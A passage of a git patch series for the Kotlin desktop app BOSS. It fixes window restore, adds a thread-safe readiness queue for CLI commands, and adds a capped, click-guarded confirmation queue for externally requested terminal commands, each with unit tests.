rather than assigning `Frame.NORMAL`, which would also drop + * MAXIMIZED_BOTH and restore a maximized window to a small one. Same form as + * `SettingsWindow`, which already got this right. + */ +private fun Window.restoreForFocus() { + if (!isVisible) { + isVisible = true + } + if (this is Frame && isIconified(extendedState)) { + extendedState = deiconified(extendedState) + } +} + /** * Handles multi-window focus tracking with two intentionally different views: * [isWindowFocused] is the live AWT focus used to gate browser input, while @@ -554,15 +591,8 @@ actual object WindowFocusManager { val window = windows[windowId] return if (window != null) { SwingUtilities.invokeLater { - // Make window visible if minimized - if (!window.isVisible) { - window.isVisible = true - } - - // Bring to front + window.restoreForFocus() window.toFront() - - // Request focus window.requestFocus() } true @@ -577,10 +607,7 @@ actual object WindowFocusManager { actual fun bringToFront() { mainWindow?.let { window -> SwingUtilities.invokeLater { - // Make window visible if minimized - if (!window.isVisible) { - window.isVisible = true - } + window.restoreForFocus() // Bring to front window.toFront() diff --git a/composeApp/src/desktopTest/kotlin/ai/rever/boss/utils/WindowFocusManagerTest.kt b/composeApp/src/desktopTest/kotlin/ai/rever/boss/utils/WindowFocusManagerTest.kt index 9dce7a5baf..5e95447032 100644 --- a/composeApp/src/desktopTest/kotlin/ai/rever/boss/utils/WindowFocusManagerTest.kt +++ b/composeApp/src/desktopTest/kotlin/ai/rever/boss/utils/WindowFocusManagerTest.kt @@ -221,4 +221,35 @@ class WindowFocusManagerTest { tracker.onUnregistered("window-b") assertFalse(tracker.isFocused("window-b")) } + + @Test + fun `an iconified window is recognised, a merely hidden one is not`() { + // The bug was testing isVisible instead. A minimized window IS visible; it is iconified, + // so the old guard never fired and toFront ran against a window still in the taskbar. + assertTrue(isIconified(java.awt.Frame.ICONIFIED)) + assertTrue(isIconified(java.awt.Frame.ICONIFIED or java.awt.Frame.MAXIMIZED_BOTH)) + assertFalse(isIconified(java.awt.Frame.NORMAL)) + assertFalse(isIconified(java.awt.Frame.MAXIMIZED_BOTH)) + } + + @Test + fun `restoring a minimized window keeps it maximized if it was`() { + // Assigning Frame.NORMAL would clear every bit, so a window the user had maximized would + // come back small. Only the ICONIFIED bit may be touched. + val wasMaximized = java.awt.Frame.ICONIFIED or java.awt.Frame.MAXIMIZED_BOTH + + assertEquals(java.awt.Frame.MAXIMIZED_BOTH, deiconified(wasMaximized)) + assertEquals(java.awt.Frame.NORMAL, deiconified(java.awt.Frame.ICONIFIED)) + } + + @Test + fun `restoring a window that is not minimized changes nothing`() { + assertEquals(java.awt.Frame.NORMAL, deiconified(java.awt.Frame.NORMAL)) + assertEquals(java.awt.Frame.MAXIMIZED_BOTH, deiconified(java.awt.Frame.MAXIMIZED_BOTH)) + } + + @Test + fun `focusWindow preserves failure behavior for invalid or unregistered target`() { + assertFalse(WindowFocusManager.focusWindow("invalid-unregistered-id")) + } } From b39ced50e73e52ef891cee56669432de3e883a0c Mon Sep 17 00:00:00 2001 From: Ayush Santosh Chhatre <109429245+Ayush04-C@users.noreply.github.com> Date: Mon, 14 Sep 2026 09:49:04 +0530 Subject: [PATCH 11/28] fix(cli): prevent readiness queue lost commands (#633) * fix(cli): prevent readiness queue lost commands * fix(cli): close initialization queue race and guard deferred logging --------- Co-authored-by: ayush Co-authored-by: Shivang --- .../ai/rever/boss/cli/CLICommandHandler.kt | 127 ++++++++------- .../CLICommandHandlerReadinessQueueTest.kt | 153 ++++++++++++++++++ 2 files changed, 219 insertions(+), 61 deletions(-) create mode 100644 composeApp/src/desktopTest/kotlin/ai/rever/boss/cli/CLICommandHandlerReadinessQueueTest.kt diff --git a/composeApp/src/desktopMain/kotlin/ai/rever/boss/cli/CLICommandHandler.kt b/composeApp/src/desktopMain/kotlin/ai/rever/boss/cli/CLICommandHandler.kt index 4f110b686b..555d3ee4d7 100644 --- a/composeApp/src/desktopMain/kotlin/ai/rever/boss/cli/CLICommandHandler.kt +++ b/composeApp/src/desktopMain/kotlin/ai/rever/boss/cli/CLICommandHandler.kt @@ -16,7 +16,6 @@ import ai.rever.boss.window.Project import ai.rever.boss.window.WindowManager import kotlinx.coroutines.* import java.io.File -import java.util.concurrent.ConcurrentLinkedQueue /** * Handles CLI commands with queueing for app lifecycle coordination. @@ -29,26 +28,14 @@ import java.util.concurrent.ConcurrentLinkedQueue class CLICommandHandler private constructor() { private val logger = BossLogger.forComponent("CLICommandHandler") - private val commandQueue = ConcurrentLinkedQueue() + private val initializationQueue = ReadinessQueue() // Holds whole commands, not just the command text: the origin decides whether // the command may run unattended, and a queue that dropped it would turn a // cold-start request into an unattributed one. - private val terminalQueue = ConcurrentLinkedQueue() - private val workspaceQueue = ConcurrentLinkedQueue() - private val fileQueue = ConcurrentLinkedQueue() - - @Volatile - private var isInitialized = false - - @Volatile - private var isTerminalHandlerReady = false - - @Volatile - private var isFileHandlerReady = false - - @Volatile - private var isWorkspaceHandlerReady = false + private val terminalReadinessQueue = ReadinessQueue() + private val workspaceReadinessQueue = ReadinessQueue() + private val fileReadinessQueue = ReadinessQueue() // Service references - set during initialization private var windowManager: WindowManager? = null @@ -76,12 +63,12 @@ class CLICommandHandler private constructor() { ) { this.windowManager = windowManager this.getSplitViewState = getSplitViewState - this.isInitialized = true + val queuedCommands = initializationQueue.markReadyAndClaimQueued() logger.info(LogCategory.SYSTEM, "CLI initialized with services") // Execute queued commands - executeQueuedCommands() + executeQueuedCommands(queuedCommands) } /** @@ -90,12 +77,11 @@ class CLICommandHandler private constructor() { * Otherwise, queues for later execution. */ fun queueCommand(command: CLICommand) { - if (isInitialized) { + if (initializationQueue.enqueueOrClaimForCaller(command)) { scope.launch { executeCommand(command) } } else { - commandQueue.offer(command) logger.debug(LogCategory.SYSTEM, "Queued command", mapOf("command" to command.toString())) } } @@ -105,14 +91,13 @@ class CLICommandHandler private constructor() { * Should be called from BossApp.kt after TerminalEventBus listener is set up. */ fun markTerminalHandlerReady() { - isTerminalHandlerReady = true + val queuedCommands = terminalReadinessQueue.markReadyAndClaimQueued() logger.debug(LogCategory.SYSTEM, "Terminal handler marked as ready") // Process queued terminal events scope.launch { - while (terminalQueue.isNotEmpty()) { - val queued = terminalQueue.poll() - if (queued != null) { + queuedCommands.forEach { queued -> + try { logger.debug( LogCategory.SYSTEM, "Processing queued terminal command", @@ -121,11 +106,9 @@ class CLICommandHandler private constructor() { "origin" to queued.origin.name, ), ) - try { - handleOpenTerminal(queued.command, queued.origin) - } catch (e: Exception) { - logger.error(LogCategory.SYSTEM, "Failed to process queued terminal event", error = e) - } + handleOpenTerminal(queued.command, queued.origin) + } catch (e: Exception) { + logger.error(LogCategory.SYSTEM, "Failed to process queued terminal event", error = e) } } } @@ -136,20 +119,17 @@ class CLICommandHandler private constructor() { * Should be called from BossApp.kt after FileEventBus listener is set up. */ fun markFileHandlerReady() { - isFileHandlerReady = true + val queuedFiles = fileReadinessQueue.markReadyAndClaimQueued() logger.debug(LogCategory.SYSTEM, "File handler marked as ready") // Process queued file events scope.launch { - while (fileQueue.isNotEmpty()) { - val filePath = fileQueue.poll() - if (filePath != null) { + queuedFiles.forEach { filePath -> + try { logger.debug(LogCategory.SYSTEM, "Processing queued file", mapOf("path" to filePath)) - try { - handleOpenFile(filePath) - } catch (e: Exception) { - logger.error(LogCategory.SYSTEM, "Failed to process queued file event", error = e) - } + handleOpenFile(filePath) + } catch (e: Exception) { + logger.error(LogCategory.SYSTEM, "Failed to process queued file event", error = e) } } } @@ -160,33 +140,26 @@ class CLICommandHandler private constructor() { * Should be called from BossApp.kt after Last Session workspace is loaded. */ fun markWorkspaceHandlerReady() { - isWorkspaceHandlerReady = true + val queuedWorkspaces = workspaceReadinessQueue.markReadyAndClaimQueued() logger.debug(LogCategory.SYSTEM, "Workspace handler marked as ready") // Process queued workspace loads scope.launch { - while (workspaceQueue.isNotEmpty()) { - val configPath = workspaceQueue.poll() - if (configPath != null) { + queuedWorkspaces.forEach { configPath -> + try { logger.debug(LogCategory.SYSTEM, "Processing queued workspace", mapOf("path" to configPath)) - try { - handleLoadWorkspace(configPath) - } catch (e: Exception) { - logger.error(LogCategory.SYSTEM, "Failed to process queued workspace", error = e) - } + handleLoadWorkspace(configPath) + } catch (e: Exception) { + logger.error(LogCategory.SYSTEM, "Failed to process queued workspace", error = e) } } } } - private fun executeQueuedCommands() { + private fun executeQueuedCommands(queuedCommands: List) { scope.launch { - // Process command queue - while (commandQueue.isNotEmpty()) { - val command = commandQueue.poll() - if (command != null) { - executeCommand(command) - } + for (command in queuedCommands) { + executeCommand(command) } // Note: Workspace queue is now processed by markWorkspaceHandlerReady() @@ -208,14 +181,13 @@ class CLICommandHandler private constructor() { } is CLICommand.OpenFile -> { - if (isFileHandlerReady) { + if (fileReadinessQueue.enqueueOrClaimForCaller(command.filePath)) { // File handler ready - execute immediately logger.debug(LogCategory.SYSTEM, "File handler ready, executing immediately", mapOf("path" to command.filePath)) handleOpenFile(command.filePath) } else { // File handler not ready - queue for later (cold start) logger.debug(LogCategory.SYSTEM, "File handler not ready, queueing file", mapOf("path" to command.filePath)) - fileQueue.add(command.filePath) } } @@ -224,7 +196,7 @@ class CLICommandHandler private constructor() { } is CLICommand.OpenTerminal -> { - if (isTerminalHandlerReady) { + if (terminalReadinessQueue.enqueueOrClaimForCaller(command)) { // Terminal handler ready - execute immediately logger.debug( LogCategory.SYSTEM, @@ -245,7 +217,6 @@ class CLICommandHandler private constructor() { "origin" to command.origin.name, ), ) - terminalQueue.add(command) } } } @@ -297,9 +268,8 @@ class CLICommandHandler private constructor() { // Queue workspace if handler not ready (cold start) // This ensures workspace loads AFTER Last Session, preventing tab destruction - if (!isWorkspaceHandlerReady) { + if (!workspaceReadinessQueue.enqueueOrClaimForCaller(file.absolutePath)) { logger.debug(LogCategory.SYSTEM, "Workspace handler not ready, queueing", mapOf("path" to file.absolutePath)) - workspaceQueue.add(file.absolutePath) return } @@ -539,6 +509,41 @@ class CLICommandHandler private constructor() { } } +/** + * Atomically transfers a value either to the caller once ready, or to the + * readiness transition that claims the deferred FIFO queue. + * + * Callers must execute claimed values after this object has released its monitor. + * FIFO applies within a deferred batch; a post-ready caller may run before that batch. + */ +internal class ReadinessQueue { + private val lock = Any() + private val deferred = ArrayDeque() + private var ready = false + + /** Returns true only when this caller owns [value] for immediate execution. */ + fun enqueueOrClaimForCaller(value: T): Boolean = + synchronized(lock) { + if (ready) { + true + } else { + deferred.addLast(value) + false + } + } + + /** Marks this queue ready and transfers every deferred value to the caller in FIFO order. */ + fun markReadyAndClaimQueued(): List = + synchronized(lock) { + ready = true + buildList(deferred.size) { + while (deferred.isNotEmpty()) { + add(deferred.removeFirst()) + } + } + } +} + /** * Longest command BOSS will put in front of the operator for confirmation. A * command it cannot show in full is not one anybody can meaningfully approve, so diff --git a/composeApp/src/desktopTest/kotlin/ai/rever/boss/cli/CLICommandHandlerReadinessQueueTest.kt b/composeApp/src/desktopTest/kotlin/ai/rever/boss/cli/CLICommandHandlerReadinessQueueTest.kt new file mode 100644 index 0000000000..f932d1a5c2 --- /dev/null +++ b/composeApp/src/desktopTest/kotlin/ai/rever/boss/cli/CLICommandHandlerReadinessQueueTest.kt @@ -0,0 +1,153 @@ +package ai.rever.boss.cli + +import ai.rever.boss.utils.DeepLinkOrigin +import java.util.concurrent.CyclicBarrier +import java.util.concurrent.Executors +import java.util.concurrent.TimeUnit +import kotlin.test.Test +import kotlin.test.assertEquals +import kotlin.test.assertFalse +import kotlin.test.assertTrue + +class CLICommandHandlerReadinessQueueTest { + @Test + fun `initialization preserves every command variant and external terminal origin`() { + val queue = ReadinessQueue() + val commands = + listOf( + CLICommand.OpenUrl("https://example.com"), + CLICommand.LoadWorkspace("workspace.json"), + CLICommand.OpenFile("file.txt"), + CLICommand.OpenFolder("project"), + CLICommand.OpenTerminal("echo external", DeepLinkOrigin.EXTERNAL), + ) + commands.forEach { assertFalse(queue.enqueueOrClaimForCaller(it)) } + + assertEquals(commands, queue.markReadyAndClaimQueued()) + assertTrue(queue.markReadyAndClaimQueued().isEmpty()) + commands.forEach { assertTrue(queue.enqueueOrClaimForCaller(it)) } + assertTrue(queue.markReadyAndClaimQueued().isEmpty()) + } + + @Test + fun `queued file values are claimed once in FIFO order when readiness wins`() { + val queue = ReadinessQueue() + + assertFalse(queue.enqueueOrClaimForCaller("first.txt")) + assertFalse(queue.enqueueOrClaimForCaller("second.txt")) + + assertEquals(listOf("first.txt", "second.txt"), queue.markReadyAndClaimQueued()) + assertTrue(queue.markReadyAndClaimQueued().isEmpty()) + } + + @Test + fun `a ready workspace queue transfers ownership to the submitting caller`() { + val queue = ReadinessQueue() + + assertTrue(queue.markReadyAndClaimQueued().isEmpty()) + assertTrue(queue.enqueueOrClaimForCaller("workspace.json")) + assertTrue(queue.markReadyAndClaimQueued().isEmpty()) + } + + @Test + fun `repeat readiness does not claim file values twice`() { + val queue = ReadinessQueue() + + assertFalse(queue.enqueueOrClaimForCaller("only-once.txt")) + + assertEquals(listOf("only-once.txt"), queue.markReadyAndClaimQueued()) + assertTrue(queue.markReadyAndClaimQueued().isEmpty()) + } + + @Test + fun `enqueue then readiness gives readiness ownership of the terminal value`() { + val queue = ReadinessQueue() + val terminal = CLICommand.OpenTerminal("echo ready", DeepLinkOrigin.OPERATOR_CLI) + + assertFalse(queue.enqueueOrClaimForCaller(terminal)) + assertEquals(listOf(terminal), queue.markReadyAndClaimQueued()) + } + + @Test + fun `readiness then enqueue gives caller ownership of the terminal value`() { + val queue = ReadinessQueue() + val terminal = CLICommand.OpenTerminal("echo ready", DeepLinkOrigin.OPERATOR_CLI) + + assertTrue(queue.markReadyAndClaimQueued().isEmpty()) + assertTrue(queue.enqueueOrClaimForCaller(terminal)) + assertTrue(queue.markReadyAndClaimQueued().isEmpty()) + } + + @Test + fun `terminal payload is preserved through deferred ownership transfer`() { + val queue = ReadinessQueue() + val terminal = CLICommand.OpenTerminal("echo preserved", DeepLinkOrigin.EXTERNAL) + + assertFalse(queue.enqueueOrClaimForCaller(terminal)) + + assertEquals(listOf(terminal), queue.markReadyAndClaimQueued()) + } + + @Test + fun `concurrent producers and readiness assign every value to exactly one owner`() { + val queue = ReadinessQueue() + val values = 0 until 16 + val start = CyclicBarrier(values.count() + 1) + val executor = Executors.newFixedThreadPool(values.count() + 1) + + try { + val producerResults = + values.map { value -> + executor.submit> { + start.await(5, TimeUnit.SECONDS) + value to queue.enqueueOrClaimForCaller(value) + } + } + val readinessResult = + executor.submit> { + start.await(5, TimeUnit.SECONDS) + queue.markReadyAndClaimQueued() + } + + val directValues = + producerResults + .map { it.get(5, TimeUnit.SECONDS) } + .filter { (_, callerOwns) -> callerOwns } + .map { (value, _) -> value } + val readinessValues = readinessResult.get(5, TimeUnit.SECONDS) + val allOwnedValues = directValues + readinessValues + + assertEquals(values.toSet(), allOwnedValues.toSet()) + assertEquals(values.count(), allOwnedValues.size) + assertTrue(queue.markReadyAndClaimQueued().isEmpty()) + } finally { + executor.shutdownNow() + assertTrue(executor.awaitTermination(5, TimeUnit.SECONDS)) + } + } + + @Test + fun `concurrent readiness calls claim a deferred batch only once`() { + val queue = ReadinessQueue() + val values = listOf(1, 2, 3) + values.forEach { assertFalse(queue.enqueueOrClaimForCaller(it)) } + val start = CyclicBarrier(2) + val executor = Executors.newFixedThreadPool(2) + + try { + val batches = + List(2) { + executor.submit> { + start.await(5, TimeUnit.SECONDS) + queue.markReadyAndClaimQueued() + } + }.map { it.get(5, TimeUnit.SECONDS) } + + assertEquals(values, batches.flatten()) + assertEquals(1, batches.count { it.isNotEmpty() }) + } finally { + executor.shutdownNow() + assertTrue(executor.awaitTermination(5, TimeUnit.SECONDS)) + } + } +} From 9a2e5034f937e447e3b20eefd4806fe8ac6bc0dc Mon Sep 17 00:00:00 2001 From: Shivang Date: Mon, 14 Sep 2026 00:20:08 -0700 Subject: [PATCH 12/28] fix(cli): queue external command approval prompts --- .../ai/rever/boss/app/BossAppDialogs.kt | 9 ++-- .../rever/boss/app/BossAppEventBusEffects.kt | 2 +- .../kotlin/ai/rever/boss/app/BossAppState.kt | 5 +- .../boss/app/TerminalCommandApprovalQueue.kt | 22 ++++++++ .../app/TerminalCommandApprovalQueueTest.kt | 51 +++++++++++++++++++ 5 files changed, 82 insertions(+), 7 deletions(-) create mode 100644 composeApp/src/commonMain/kotlin/ai/rever/boss/app/TerminalCommandApprovalQueue.kt create mode 100644 composeApp/src/desktopTest/kotlin/ai/rever/boss/app/TerminalCommandApprovalQueueTest.kt diff --git a/composeApp/src/commonMain/kotlin/ai/rever/boss/app/BossAppDialogs.kt b/composeApp/src/commonMain/kotlin/ai/rever/boss/app/BossAppDialogs.kt index 0d8a419390..afac39d635 100644 --- a/composeApp/src/commonMain/kotlin/ai/rever/boss/app/BossAppDialogs.kt +++ b/composeApp/src/commonMain/kotlin/ai/rever/boss/app/BossAppDialogs.kt @@ -810,15 +810,18 @@ internal fun BossAppDialogs(state: BossAppState) { // `boss` invocation. `boss://` is registered with the OS, so this request // carries no evidence of who made it — the operator says whether it runs, // and sees the exact text first. - state.pendingTerminalCommand?.let { pending -> + state.terminalCommandApprovals.current?.let { pending -> ConfirmationDialog( title = "Run this command?", message = "BOSS was asked from outside the app to run a command in a new terminal tab. " + "It has not run. Confirm only if you recognise it:\n\n${pending.command}", confirmText = "Run command", - onDismiss = { state.pendingTerminalCommand = null }, - onConfirm = { + onDismiss = { state.terminalCommandApprovals.consume(pending) }, + onConfirm = confirm@{ + // Consume before execution; the dialog also calls onDismiss after onConfirm. + // A stale callback must never execute or dismiss the next request. + if (!state.terminalCommandApprovals.consume(pending)) return@confirm logger.info( LogCategory.TERMINAL, "Operator confirmed an externally requested terminal command", diff --git a/composeApp/src/commonMain/kotlin/ai/rever/boss/app/BossAppEventBusEffects.kt b/composeApp/src/commonMain/kotlin/ai/rever/boss/app/BossAppEventBusEffects.kt index a6bbb47228..fe8f573db0 100644 --- a/composeApp/src/commonMain/kotlin/ai/rever/boss/app/BossAppEventBusEffects.kt +++ b/composeApp/src/commonMain/kotlin/ai/rever/boss/app/BossAppEventBusEffects.kt @@ -150,7 +150,7 @@ internal fun BossAppEventBusEffects(state: BossAppState) { "Holding an externally requested terminal command for confirmation", mapOf("windowId" to windowId), ) - state.pendingTerminalCommand = PendingTerminalCommand(command, event.workingDirectory) + state.terminalCommandApprovals.enqueue(PendingTerminalCommand(command, event.workingDirectory)) } else { splitViewState.openTerminalInActivePanel(command, event.workingDirectory) DashboardStatsManager.recordTerminalSession() diff --git a/composeApp/src/commonMain/kotlin/ai/rever/boss/app/BossAppState.kt b/composeApp/src/commonMain/kotlin/ai/rever/boss/app/BossAppState.kt index c273ae7069..e506262694 100644 --- a/composeApp/src/commonMain/kotlin/ai/rever/boss/app/BossAppState.kt +++ b/composeApp/src/commonMain/kotlin/ai/rever/boss/app/BossAppState.kt @@ -182,9 +182,8 @@ internal class BossAppState( var pendingDependentRestart by mutableStateOf(null) - // A terminal command that arrived from outside this BOSS invocation and is - // waiting for the operator to confirm it. Null whenever nothing is pending. - var pendingTerminalCommand by mutableStateOf(null) + // Keep every external request until the operator answers its own prompt. + val terminalCommandApprovals = TerminalCommandApprovalQueue() // An MCP tool execution requested by an AI agent that is suspended waiting // for operator approval under an ASK policy. diff --git a/composeApp/src/commonMain/kotlin/ai/rever/boss/app/TerminalCommandApprovalQueue.kt b/composeApp/src/commonMain/kotlin/ai/rever/boss/app/TerminalCommandApprovalQueue.kt new file mode 100644 index 0000000000..aa15e9490b --- /dev/null +++ b/composeApp/src/commonMain/kotlin/ai/rever/boss/app/TerminalCommandApprovalQueue.kt @@ -0,0 +1,22 @@ +package ai.rever.boss.app + +import androidx.compose.runtime.mutableStateListOf + +/** Window-owned FIFO, accessed only on the UI thread. Closing the window drops its requests. */ +internal class TerminalCommandApprovalQueue { + private val requests = mutableStateListOf() + + val current: PendingTerminalCommand? + get() = requests.firstOrNull() + + fun enqueue(request: PendingTerminalCommand) { + requests.add(request) + } + + /** Only the request actually shown can be consumed, once, even for identical commands. */ + fun consume(request: PendingTerminalCommand): Boolean { + if (current !== request) return false + requests.removeAt(0) + return true + } +} diff --git a/composeApp/src/desktopTest/kotlin/ai/rever/boss/app/TerminalCommandApprovalQueueTest.kt b/composeApp/src/desktopTest/kotlin/ai/rever/boss/app/TerminalCommandApprovalQueueTest.kt new file mode 100644 index 0000000000..bab04b8e8e --- /dev/null +++ b/composeApp/src/desktopTest/kotlin/ai/rever/boss/app/TerminalCommandApprovalQueueTest.kt @@ -0,0 +1,51 @@ +package ai.rever.boss.app + +import kotlin.test.Test +import kotlin.test.assertFalse +import kotlin.test.assertNull +import kotlin.test.assertSame +import kotlin.test.assertTrue + +class TerminalCommandApprovalQueueTest { + @Test + fun `arrival while prompt is open preserves its command and working directory`() { + val queue = TerminalCommandApprovalQueue() + val first = PendingTerminalCommand("echo first", "/first") + val second = PendingTerminalCommand("echo second", "/second") + queue.enqueue(first) + queue.enqueue(second) + assertSame(first, queue.current) + assertFalse(queue.consume(second)) + assertTrue(queue.consume(first)) + assertSame(second, queue.current) + assertTrue(queue.consume(second)) + assertNull(queue.current) + } + + @Test + fun `confirm followed by dismiss cannot discard an identical next command`() { + val queue = TerminalCommandApprovalQueue() + val first = PendingTerminalCommand("echo same", null) + val second = PendingTerminalCommand("echo same", null) + queue.enqueue(first) + queue.enqueue(second) + assertTrue(queue.consume(first)) // confirmation consumes before executing + assertFalse(queue.consume(first)) // ConfirmationDialog then calls onDismiss + assertSame(second, queue.current) + assertFalse(queue.consume(first)) // stale double-click cannot execute again + assertTrue(queue.consume(second)) + assertNull(queue.current) + } + + @Test + fun `cancel advances to the next request without approving it`() { + val queue = TerminalCommandApprovalQueue() + val first = PendingTerminalCommand("echo cancelled", null) + val second = PendingTerminalCommand("echo pending", null) + queue.enqueue(first) + queue.enqueue(second) + assertTrue(queue.consume(first)) // cancellation has no execution callback + assertSame(second, queue.current) + assertFalse(queue.consume(first)) + } +} From a4b91fbbb84c17f29bad072bce9843f8627a2f0a Mon Sep 17 00:00:00 2001 From: Shivang Date: Mon, 14 Sep 2026 00:49:40 -0700 Subject: [PATCH 13/28] fix(cli): guard queued approvals against double clicks and floods --- composeApp/detekt-baseline.xml | 2 +- .../ai/rever/boss/app/BossAppDialogs.kt | 9 ++-- .../rever/boss/app/BossAppEventBusEffects.kt | 9 +++- .../kotlin/ai/rever/boss/app/BossAppState.kt | 2 +- .../boss/app/TerminalCommandApprovalDialog.kt | 38 ++++++++++++++ .../boss/app/TerminalCommandApprovalQueue.kt | 11 ++++- .../components/dialogs/ConfirmationDialog.kt | 2 + .../ai/rever/boss/mcp/McpPolicyEngine.kt | 3 +- .../kernel/services/DownloadServiceBridge.kt | 2 +- .../app/TerminalCommandApprovalDialogTest.kt | 49 +++++++++++++++++++ .../app/TerminalCommandApprovalQueueTest.kt | 14 ++++++ 11 files changed, 129 insertions(+), 12 deletions(-) create mode 100644 composeApp/src/commonMain/kotlin/ai/rever/boss/app/TerminalCommandApprovalDialog.kt create mode 100644 composeApp/src/desktopTest/kotlin/ai/rever/boss/app/TerminalCommandApprovalDialogTest.kt diff --git a/composeApp/detekt-baseline.xml b/composeApp/detekt-baseline.xml index 7c9a3cc61c..d44cf26412 100644 --- a/composeApp/detekt-baseline.xml +++ b/composeApp/detekt-baseline.xml @@ -280,7 +280,7 @@ LongMethod:CoBrowseScripts.kt$CoBrowseScripts$fun applyControl(payloadJsonLiteral: String): String LongMethod:CollectionSelectionDialog.kt$@Composable fun CollectionSelectionDialog( title: String, collections: List<BookmarkCollection>, excludeCollectionId: String? = null, mode: CollectionSelectionMode = CollectionSelectionMode.COPY, onDismiss: () -> Unit, onConfirm: (selectedCollectionIds: Set<String>) -> Unit, ) LongMethod:CommitDialog.kt$@Composable fun CommitDialog( onDismiss: () -> Unit, onCommitSuccess: (String) -> Unit = {}, ) - LongMethod:ConfirmationDialog.kt$@Composable fun ConfirmationDialog( title: String, message: String, icon: ImageVector? = null, iconTint: Color = BossTheme.colors.warn, confirmText: String = "Confirm", confirmColor: Color = BossTheme.colors.alert, // destructive onDismiss: () -> Unit, onConfirm: () -> Unit, ) + LongMethod:ConfirmationDialog.kt$@Composable fun ConfirmationDialog( title: String, message: String, icon: ImageVector? = null, iconTint: Color = BossTheme.colors.warn, confirmText: String = "Confirm", confirmColor: Color = BossTheme.colors.alert, // destructive onDismiss: () -> Unit, onConfirm: () -> Unit, confirmEnabled: Boolean = true, ) LongMethod:ContextMenu.kt$@Composable private fun ContextMenuContent( items: List<ContextMenuItem>, modifier: Modifier = Modifier, onDismissRequest: () -> Unit, ) LongMethod:ContextMenu.kt$@Composable private fun SubMenuContent( items: List<ContextMenuItem>, onDismissRequest: () -> Unit, ) LongMethod:CoreAuthService.kt$CoreAuthService$private fun initializeWithNetwork() diff --git a/composeApp/src/commonMain/kotlin/ai/rever/boss/app/BossAppDialogs.kt b/composeApp/src/commonMain/kotlin/ai/rever/boss/app/BossAppDialogs.kt index afac39d635..9200470293 100644 --- a/composeApp/src/commonMain/kotlin/ai/rever/boss/app/BossAppDialogs.kt +++ b/composeApp/src/commonMain/kotlin/ai/rever/boss/app/BossAppDialogs.kt @@ -811,12 +811,9 @@ internal fun BossAppDialogs(state: BossAppState) { // carries no evidence of who made it — the operator says whether it runs, // and sees the exact text first. state.terminalCommandApprovals.current?.let { pending -> - ConfirmationDialog( - title = "Run this command?", - message = - "BOSS was asked from outside the app to run a command in a new terminal tab. " + - "It has not run. Confirm only if you recognise it:\n\n${pending.command}", - confirmText = "Run command", + TerminalCommandApprovalDialog( + request = pending, + pendingCount = state.terminalCommandApprovals.size, onDismiss = { state.terminalCommandApprovals.consume(pending) }, onConfirm = confirm@{ // Consume before execution; the dialog also calls onDismiss after onConfirm. diff --git a/composeApp/src/commonMain/kotlin/ai/rever/boss/app/BossAppEventBusEffects.kt b/composeApp/src/commonMain/kotlin/ai/rever/boss/app/BossAppEventBusEffects.kt index fe8f573db0..97575a3b84 100644 --- a/composeApp/src/commonMain/kotlin/ai/rever/boss/app/BossAppEventBusEffects.kt +++ b/composeApp/src/commonMain/kotlin/ai/rever/boss/app/BossAppEventBusEffects.kt @@ -150,7 +150,14 @@ internal fun BossAppEventBusEffects(state: BossAppState) { "Holding an externally requested terminal command for confirmation", mapOf("windowId" to windowId), ) - state.terminalCommandApprovals.enqueue(PendingTerminalCommand(command, event.workingDirectory)) + val request = PendingTerminalCommand(command, event.workingDirectory) + if (!state.terminalCommandApprovals.enqueue(request)) { + logger.warn( + LogCategory.TERMINAL, + "External terminal command refused: approval queue full", + mapOf("windowId" to windowId), + ) + } } else { splitViewState.openTerminalInActivePanel(command, event.workingDirectory) DashboardStatsManager.recordTerminalSession() diff --git a/composeApp/src/commonMain/kotlin/ai/rever/boss/app/BossAppState.kt b/composeApp/src/commonMain/kotlin/ai/rever/boss/app/BossAppState.kt index e506262694..cad27324b7 100644 --- a/composeApp/src/commonMain/kotlin/ai/rever/boss/app/BossAppState.kt +++ b/composeApp/src/commonMain/kotlin/ai/rever/boss/app/BossAppState.kt @@ -269,7 +269,7 @@ internal class BossAppState( * invocation (see `DeepLinkOrigin`). The command is carried verbatim so the * prompt shows exactly what would run. */ -internal data class PendingTerminalCommand( +internal class PendingTerminalCommand( val command: String, val workingDirectory: String?, ) diff --git a/composeApp/src/commonMain/kotlin/ai/rever/boss/app/TerminalCommandApprovalDialog.kt b/composeApp/src/commonMain/kotlin/ai/rever/boss/app/TerminalCommandApprovalDialog.kt new file mode 100644 index 0000000000..03dc8ceaf0 --- /dev/null +++ b/composeApp/src/commonMain/kotlin/ai/rever/boss/app/TerminalCommandApprovalDialog.kt @@ -0,0 +1,38 @@ +package ai.rever.boss.app + +import ai.rever.boss.components.dialogs.ConfirmationDialog +import androidx.compose.runtime.Composable +import androidx.compose.runtime.LaunchedEffect +import androidx.compose.runtime.getValue +import androidx.compose.runtime.key +import androidx.compose.runtime.mutableStateOf +import androidx.compose.runtime.remember +import androidx.compose.runtime.setValue +import kotlinx.coroutines.delay + +/** Each distinct request gets a fresh arming interval, including identical command text. */ +@Composable +internal fun TerminalCommandApprovalDialog( + request: PendingTerminalCommand, + pendingCount: Int, + onDismiss: () -> Unit, + onConfirm: () -> Unit, +) { + key(request) { + var armed by remember { mutableStateOf(false) } + LaunchedEffect(Unit) { + delay(500) + armed = true + } + ConfirmationDialog( + title = "Run this command? ($pendingCount pending)", + message = + "BOSS was asked from outside the app to run a command in a new terminal tab. " + + "It has not run. Confirm only if you recognise it:\n\n${request.command}", + confirmText = "Run command", + confirmEnabled = armed, + onDismiss = onDismiss, + onConfirm = { if (armed) onConfirm() }, + ) + } +} diff --git a/composeApp/src/commonMain/kotlin/ai/rever/boss/app/TerminalCommandApprovalQueue.kt b/composeApp/src/commonMain/kotlin/ai/rever/boss/app/TerminalCommandApprovalQueue.kt index aa15e9490b..ac4df204c4 100644 --- a/composeApp/src/commonMain/kotlin/ai/rever/boss/app/TerminalCommandApprovalQueue.kt +++ b/composeApp/src/commonMain/kotlin/ai/rever/boss/app/TerminalCommandApprovalQueue.kt @@ -9,8 +9,17 @@ internal class TerminalCommandApprovalQueue { val current: PendingTerminalCommand? get() = requests.firstOrNull() - fun enqueue(request: PendingTerminalCommand) { + val size: Int + get() = requests.size + + fun enqueue(request: PendingTerminalCommand): Boolean { + if (requests.size >= MAX_PENDING) return false requests.add(request) + return true + } + + companion object { + const val MAX_PENDING = 16 } /** Only the request actually shown can be consumed, once, even for identical commands. */ diff --git a/composeApp/src/commonMain/kotlin/ai/rever/boss/components/dialogs/ConfirmationDialog.kt b/composeApp/src/commonMain/kotlin/ai/rever/boss/components/dialogs/ConfirmationDialog.kt index a139df1fb4..a6b142cd15 100644 --- 